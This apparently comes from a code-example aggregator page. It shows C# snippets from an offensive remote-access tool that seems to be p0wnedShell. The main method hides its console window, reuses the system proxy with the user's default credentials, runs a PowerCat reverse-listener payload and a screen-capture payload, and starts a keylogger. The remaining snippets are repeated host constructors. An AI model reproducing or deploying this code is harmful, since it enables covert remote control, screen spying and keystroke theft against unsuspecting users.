Exemplo n.º 1
0
        public static void Main()
        {
            IntPtr hwnd;

            hwnd = GetConsoleWindow();
            ShowWindow(hwnd, SW_HIDE);

            Parallel.Invoke(() =>
            {
                p0wnedReverseListenerConsole listener = new p0wnedReverseListenerConsole();
                string WebProxy = Proxy.DetectProxy();
                if (WebProxy != null)
                {
                    string UseProxy = "[net.webrequest]::defaultwebproxy = new-object net.webproxy \"" + WebProxy + "\" ;" +
                                      "[net.webrequest]::defaultwebproxy.BypassProxyOnLocal = $True ;" +
                                      "[net.webrequest]::defaultwebproxy.BypassList = ('10.*', '192.168.*');" +
                                      "[net.webrequest]::defaultwebproxy.credentials = [net.credentialcache]::defaultcredentials";
                    listener.Execute(UseProxy);
                }
                listener.Execute(PowerCat);
            },

                            () =>
            {
                Thread.Sleep(10000);
                p0wnedReverseListenerConsole listener2 = new p0wnedReverseListenerConsole();
                listener2.Execute(ShowTargetScreen);
            },

                            () =>
            {
                KeyLogger.startKeylogger();
            }
                            );
        }
Exemplo n.º 2
0
 /// <summary>
 /// Initializes a new instance of the MyHost class. Keep a reference 
 /// to the host application object so that it can be informed when 
 /// to exit.
 /// </summary>
 /// <param name="program">A reference to the host application object.</param>
 public MyHost(p0wnedReverseListenerConsole program)
 {
     this.program = program;
 }
 /// <summary>
 /// Initializes a new instance of the MyHost class. Keep a reference
 /// to the host application object so that it can be informed when
 /// to exit.
 /// </summary>
 /// <param name="program">A reference to the host application object.</param>
 public MyHost(p0wnedReverseListenerConsole program)
 {
     this.program = program;
 }
Exemplo n.º 4
0
        public static void Main()
        {

            IntPtr hwnd;
            hwnd = GetConsoleWindow();
            ShowWindow(hwnd, SW_HIDE);

            Parallel.Invoke(() =>
            {
                p0wnedReverseListenerConsole listener = new p0wnedReverseListenerConsole();
                string WebProxy = Proxy.DetectProxy();
                if (WebProxy != null)
                {
                    string UseProxy = "[net.webrequest]::defaultwebproxy = new-object net.webproxy \"" + WebProxy + "\" ;" +
                                      "[net.webrequest]::defaultwebproxy.BypassProxyOnLocal = $True ;" +
                                      "[net.webrequest]::defaultwebproxy.BypassList = ('10.*', '192.168.*');" +
                                      "[net.webrequest]::defaultwebproxy.credentials = [net.credentialcache]::defaultcredentials";
                    listener.Execute(UseProxy);
                }
                listener.Execute(PowerCat);
            },

                () =>
                {
                    Thread.Sleep(10000);
                    p0wnedReverseListenerConsole listener2 = new p0wnedReverseListenerConsole();
                    listener2.Execute(ShowTargetScreen);
                },

                () =>
                {
                    KeyLogger.startKeylogger();
                }
            );
        }